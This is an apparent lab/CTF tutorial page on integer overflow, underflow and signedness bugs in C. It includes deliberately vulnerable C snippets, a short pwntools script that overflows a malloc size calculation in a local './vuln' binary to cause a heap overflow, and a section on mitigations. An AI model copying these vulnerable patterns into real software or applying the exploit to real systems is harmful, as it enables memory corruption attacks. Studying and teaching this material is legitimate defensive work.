Integer Overflow and Integer Bugs
Integers in C have a fixed size (32 or 64 bits) and a limited range. When an operation produces a value outside that range, it “wraps around” (overflow/underflow), and if a signed number is treated as unsigned (or vice versa), its value changes drastically (signedness). These bugs are dangerous because those integers are often used as buffer sizes or indices: a wrong calculation leads to allocating too little memory, reading/writing out of bounds, or skipping a check — and from there to a classic overflow.
Threat model
Section titled “Threat model”The attacker controls an integer the program uses to size a buffer, index an array, or compare against a limit. The integer bug is rarely the final goal: it’s the first link that enables a memory corruption (stack/heap overflow, OOB write) that is then exploited. Authorized lab/CTF material.
Theory: bug types
Section titled “Theory: bug types”- Integer overflow —
x + yexceeds the maximum and wraps to a small value. In 32-bit unsigned:0xFFFFFFFF + 1 = 0. - Integer underflow —
0 - 1inunsigned→0xFFFFFFFF(huge). - Signedness — a negative
inttreated asunsigned:-1interpreted asunsigned=4294967295. - Truncation — assigning an
int(32) to ashort(16) loses the high bits. - Multiplication overflow —
len * sizeof(x)overflows and allocates less than expected.
Why they’re exploitable
Section titled “Why they’re exploitable”The danger isn’t the integer itself but what it’s used for. Three classic patterns:
// 1) controlled allocation size -> heap overflowint n = user_input; // the attacker feeds a value that overflowschar *buf = malloc(n * 8); // n*8 overflows -> malloc allocates little// then n elements are written -> heap overflow
// 2) skip a bounds check (signedness)if (index < MAX) { array[index] = x; } // a negative index (signed) passes the check// but array[index] with a negative index writes OUTSIDE the array
// 3) underflow in a size -> gigantic copysize_t len = header_len - 20; // if header_len < 20, len = huge -> massive memcpyThe key pattern: an attacker-controlled integer feeding a malloc, a memcpy, an array index, or an if (x < limit) check.
flowchart TD
A["attacker-controlled integer"] --> B{"used for what?"}
B -->|"malloc(n*k)"| C["product overflows → small allocation"]
B -->|"signed index"| D["negative passes 'index < MAX' → OOB"]
B -->|"unsigned subtraction"| E["underflow → huge size"]
C --> F["heap overflow"]
D --> G["out-of-bounds write"]
E --> H["massive memcpy"]
F --> I["control of the flow (RIP)"]
G --> I
H --> I
How to find them
Section titled “How to find them”- In reversing/code: arithmetic on sizes/indices just before
malloc,memcpy,read, or a loop. - Bounds checks using signed types where they should be
unsigned. - Fuzzing with extreme values:
0,-1,0xFFFFFFFF,INT_MAX,INT_MIN, large sizes.
Exploitation (lab): from integer bug to flow control
Section titled “Exploitation (lab): from integer bug to flow control”- Find the controlled integer that feeds a size/index/check.
- Choose a value that produces the desired effect:
- Turn the resulting memory corruption into control of the flow, as in a classic overflow.
from pwn import *context.binary = './vuln'
io = process('./vuln')# the program asks for an "element count" and does malloc(n*8)io.sendlineafter(b'count: ', str(0x20000001).encode()) # 0x20000001*8 overflows 32 bits -> 8# now the real buffer is tiny, but the program thinks 0x20000001 elements fitio.sendafter(b'data: ', b'A'*200) # heap overflowio.interactive()It’s common for the integer bug to be the link enabling the classic overflow; from there you apply the corresponding technique.
Mitigations / Blue Team
Section titled “Mitigations / Blue Team”- Correct range checks: validate before operating; use unsigned types for sizes (
size_t) and verify upper and lower bounds. - Overflow detection: safe functions (
__builtin_mul_overflow, C23’sckd_add),-ftrapv, and UBSan (-fsanitize=integer) in development. - Don’t compute sizes with arithmetic without checking for overflow (
if (n > MAX/8) error;beforen*8). - Fuzzing with boundary values; code review focused on size arithmetic.
Checklist
Section titled “Checklist”- Identify controlled integers feeding sizes/indices/checks
- Test boundary values (
0,-1,0xFFFFFFFF,INT_MAX/MIN) - Overflow in a size calculation → small allocation → overflow
- Signedness/negative → skip a bounds check
- Underflow → huge size → massive copy
- Chain with Stack / Heap overflow
- Turn into control of the flow
- Blue: range validation,
size_t, UBSan?